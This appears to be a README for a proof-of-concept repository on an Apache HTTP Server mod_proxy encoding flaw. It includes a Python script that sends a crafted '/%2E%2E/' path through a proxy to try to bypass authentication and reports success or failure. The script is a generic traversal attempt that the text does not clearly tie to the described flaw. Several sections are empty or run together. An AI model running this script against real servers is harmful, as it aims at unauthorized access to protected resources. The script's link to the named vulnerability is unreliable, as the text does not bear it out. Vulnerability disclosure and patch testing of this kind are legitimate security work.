
Proof-of-concept demonstrating an encoding flaw in Apache HTTP Server mod_proxy that can bypass authentication via crafted encoded URLs.
This repository contains Proof of Concept (PoC) scripts for demonstrating an encoding problem in the mod_proxy module of Apache HTTP Server versions 2.4.59 and earlier. This vulnerability allows request URLs with incorrect encoding to be sent to backend services, potentially bypassing authentication via crafted requests.
CVE-ID: (Pending)
Overview:
An encoding problem in the mod_proxy module of Apache HTTP Server versions 2.4.59 and earlier allows request URLs with incorrect encoding to be sent to backend services. This can potentially bypass authentication mechanisms via crafted requests. Users are recommended to upgrade to version 2.4.60, which fixes this issue.
Affected Versions:
Fixed Version:
requests library (pip install requests)Identify the Backend Service:
http://backend-service.example.com.Craft a Malicious Request:
Run the PoC Script:
mod_proxy_poc.py and run it.Here’s a Python script that demonstrates the vulnerability:
import requests
# Configuration
proxy_url = "http://proxy-server.example.com" # Change this to the proxy server's URL
backend_service_path = "/protected/resource" # The path to the protected resource on the backend service
malicious_path = "/%2E%2E/protected/resource" # Incorrectly encoded path to bypass authentication
# Malicious request to be sent via the proxy server
malicious_url = f"{proxy_url}{malicious_path}"
def send_malicious_request():
try:
# Send the crafted request to the proxy server
response = requests.get(malicious_url)
# Print the response details
print("Status Code:", response.status_code)
print("Response Headers:", response.headers)
print("Response Body:", response.text)
if response.status_code == 200:
print("[+] Successfully bypassed authentication and accessed the protected resource.")
else:
print("[-] Failed to bypass authentication.")
except Exception as e:
print("[-] An error occurred:", str(e))
if __name__ == "__main__":
send_malicious_request()
Configuration:
proxy_url: The URL of the proxy server.backend_service_path: The path to the protected resource on the backend service.malicious_path: The incorrectly encoded path to bypass authentication.send_malicious_request:
To mitigate this vulnerability, upgrade to Apache HTTP Server version 2.4.60, which fixes the encoding problem in the mod_proxy module.
By keeping your software up-to-date and following security best practices, you can prevent vulnerabilities such as this encoding problem in the mod_proxy module.